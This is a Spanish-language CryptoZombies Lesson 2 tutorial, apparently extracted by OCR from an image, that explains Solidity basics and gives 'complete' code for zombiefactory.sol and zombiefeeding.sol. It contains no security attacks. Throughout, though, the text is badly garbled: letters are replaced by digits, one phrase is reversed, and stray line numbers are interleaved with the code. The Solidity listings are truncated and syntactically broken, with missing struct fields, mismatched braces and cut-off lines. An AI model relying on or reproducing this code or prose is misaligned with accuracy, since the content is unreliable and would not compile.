oaddress: Un tipo de dato especff1co de Solidity ut1l1zado para almacenar direcciones de cuentas de Ethereum (por ejemplo, @x...). Es la base para implementar la propiedad del usuario. omapping: Una estructura de alnacenamiento de clave-valor, similar a una tabla hash o un diccionario (mapping(TipoClave

  • >TipoValor)).Es extremadamente eficiente para asociar

datos (como la propiedad) con una direccion o ID especifico.

  • Gestion de Propiedad y Acceso:

msg.sender: Una variable global que siempre representa la direccion de la cuenta o contrato que esta llamando a la funcion actual. Es la herramienta mas inportante en Los contratos inteligentes para la autenticacion y la asignaci6n automatica de propiedad. o require(condicion): Una funcion de validacion que se utiliza para conprobar si una condicion es verdadera antes de ejecutar el codigo. Si la condici6n es false, la transacci6n falla y revierte todos los camb1os de estado. Es clave para hacer cunplir reglas (por ejemplo,"cada d1recc16n solo puede crear un zombi gratis").

  • Estructura y Organizaci6n del C6digo:

o Herencia (is): Solidity permite que un contrato herede las caracteristicas de otro. Un contrato hijo puede usar la sintaxis is ContratoPadre para acceder a todas las funciones y variables de estado public e internal del contrato padre, lo que pronueve enormemente la reutilizacion y modularidad delcodigo. oInportacion (import): Cuando el codigo se divide en varios archivos, es necesario usar inport "./ruta/al/archivo.sol"; para incluir el contenido de otros archivos, permitiendo que elcompilador enlace y compile correctanente todo el proyecto. o Visibilidad de Funciones (internal vs private):

  • private: La funci6n solo puede ser llamada desde dentro

del contrato donde se define.

  • internal: La funcion puede ser llamada desde el contrato

donde se define y desde cualquier contrato hijo que herede de él. Para implementar la herencia, a menudo necesitamos camb1ar la visib1l1dad de las funciones aux1l1ares del padre de private a internal.

  • Interaccion con Otros Contratos:

o Interfaces (interface): Una interfaz es la forma estandar de interactuar con contratos externos. Solo declara las firmas de las funciones del contrato objetivo {nombre. parametros, valores de retorno). sin ningun codigo de 1mplementacion. Esto permite que nuestro contrato llame de forma segura a las funciones publicas de otro contrato sin necesidad de tener su codigo fuente. cManejo de Miltiples Valores de Retorno: Las funciones de Solidity pueden devolver multiples valores. Al recibirlos, edneunJesn sowapod (valorl, valor2, eued(... capturarlos todos. Si solo nos interesan algunos, podemos usar una coma , para omitir los valores que no neces1tamos, por ejemplo (,,,valor4,,).

  • Manejo de Datos Complejos:

o storage vs memory: Este es un concepto clave en Solidity sobre la ubicacion de almacenamiento de datos.

  • storage: Los datos se guardan permanentemente en la

blockchain. Modificarlos tiene un alto costo (consume Gas ) . memory: Los datos existen solo temporalmente durante la ejecucion de una funcion y se destruyen al finalizar. Su costo es menor. Al manipular variables de estado dentro de una funcion (como un struct en un array). crear un puntero a storage (TipoStruct storage puntero = -.-) nos permite modificar directamente los datos en la blockchain, en lugar de crear una copia temporal.

2. Desafio Final

conpleta Basado en todos los conocimientos anteriores, la siguiente tarea: Crea dos archivos de contrato inteligente, zombiefactory.sol y zombiefeeding.sol.

1.zombiefactory.sol debe contener:

o La estructura de datos basica para un zombi (Zonbie struct). o Un array para almacenar todos los zombis. o napping para rastrear la propiedad de los zonbis y el recuento de zombis por propietario. o Una funci6n internal _createZombie que maneje la l6gica central de creac16n de zomb1s, as1gnac16n de prop1edad y actualizaci6n del recuento, o Una funcion public createRandomZombie que debe usar require para garantizar que cada jugador solo pueda llamarla una vez de forma gratuita.

1.zombiefeeding.sol debe contener:

o Usar 1mport para 1ncluir zombiefactory.sol. o Usar la palabra clave is para heredar de ZombieFactory. o Definir una KittyInterface para interactuar con el contrato de CryptoKitties. o Instanciar esa 1nterfaz, apuntando a su d1recc1on en la red principal de Ethereum. o Crear una funci6n feed0nKitty que pueda:

  • Recibir el ID de nuestro zonbi y el ID de un CryptoKitty

objetivo.

  • Llamar a la funcion getKitty del contrato externo

capturar solo el valor de retorno genes que necesitamos.

  • Llamar a una funci6n principal feedAndMultiply para

manejar la l6gica posterior. o La funcion feedAndMultiply debe ser capaz de:

  • Verificar que quien llama a la funcion es el propietario

del zombi.

  • Usar un puntero a storage para obtener los datos de

nuestro zomb1.

  • Calcular el nuevo ADN del zombi (el promedio entre nuestro

zomb1 y el objetivo).

  • Si el objetivo es un "kitty*, aplicar un tratamiento

especial al nuevo ADN (los dos iltimos dfgitos cambian a

99) .

  • Llamar a la funcion _createZombie del contrato padre para

crear finalmente el nuevo zombi.

3.Soluci6n Completa

A continuacion se muestra el codigo completo de los dos archivos necesarios para completar el desaffo final. Archivo: zombiefactory.sol

pragma solidity >=0.5.0 <0.6.0; contract ZombieFactory{ // Evento: se dispara cuando se crea un nuevo zombi, facilitando l event NewZombie(uint zombieId, string name, uint dna); // Variables de estado uint dnaDigits = 16; // Estructura de datos del Zombi struct Zombie { string name; 10 :eup lutn 1 1 1 2 // Variables de estado 13 14 Zombie[] public zombies; 15 16 mapping (address => uint) public ownerZombieCount; 17 // Funcion interna: logica principal para crear un nuevo zombi. 18 // Se declara como internal" para que los contratos hijos puedan function _createzombie(string memory _name, uint _dna) internal { 19 20 uint id = zombies .push(Zombie(_name, _dna)) - 1; 21 zombieToowner [id] = msg.sender; 22 23 emit NewZombie (id, _name, _dna) ; 24 // Funcion publica: crea un zombi aleatorio para el primer zombi g 25 26 function createRandomZombie(string memory _name) public { 27 // Requisito: el llamante no debe poseer ningun zombi todavia. require(ownerZombieCount[msg sender] == θ); 28 29 uint randDna = uint (keccak256(abi.encodePacked(now, msg.sender 30 _createZombie(_name, randDna);

Archivo: zombiefeeding.sol

pragma solidity >=0.5.0 <0.6.0; // l. Importar el archivo del contrato padre. import "./zombiefactory.sol"; 4// 2. Definir la interfaz del contrato externo. interface KittyInterface { function getKitty(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, 10 uint256 nextActionAt, 1 1 uint256 birthTime, 12 13 14 uint256 sireId, 15 uint256 generation, 16 ); 1 7 18 } 19 // 3. Definir el contrato hijo y heredar del padre. contract ZombieFeeding is ZombieFactory { 20 // 4. Instanciar la interfaz del contrato externo. 21 address ckAddress = θx06θ12c8cf97BEaD5deAe237070F9587f8E7A266d; 22 KittyInterface kittyContract = KittyInterface(ckAddress); 23 // Logica principal de alimentacion y multiplicacion. 24 function feedAndMultiply(uint _zombieId,uint _targetDna,string m 25 26 // Verificar que el llamante es el propietario de este zombi. 27 require(msg.sender == zombieToowner[_zombieId]); 28 29 // Usar un puntero a storage para referenciar directamente l 30 Zombie storage myZombie = zombies[_zombieId]; 31 32 // Calcular el nuevo ADN. 33 _targetDna = _targetDna % dnaModulus; uint newDna = (myZombie.dna + _targetDna) / 2; 34 35 // Si se alimenta de un gato, anadir los genes especiales 36 if (keccak256(abi.encodePacked(_species)) == keccak256(abi.enc 37 newDna = newDna - newDna % 100 + 99; 38 ) 39 //Llamar a la funcion internal` del contrato padre para crea 40 _createZombie("NoName", newDna) ; 41 { 42 // Permite a un zombi alimentarse de un Cryptokitty. function feedonKitty(uint _zombieId, uint _kittyId) public { 4 4 uint kittyDna; 45 // Llamar a la funcion del contrato externo y recibir solo el 46 (,......,,kittyDna) = kittyContract.getKitty(_kittyId); 47 // Llamar a nuestra propia funcion de l6gica principal. feedAndMultiply(_zombieId, kittyDna,"kitty"); 48 4 9

原始排版图

CryptoZombies Lección 2: Guía Definitiva y Código Completo:微信公众号导出原始排版图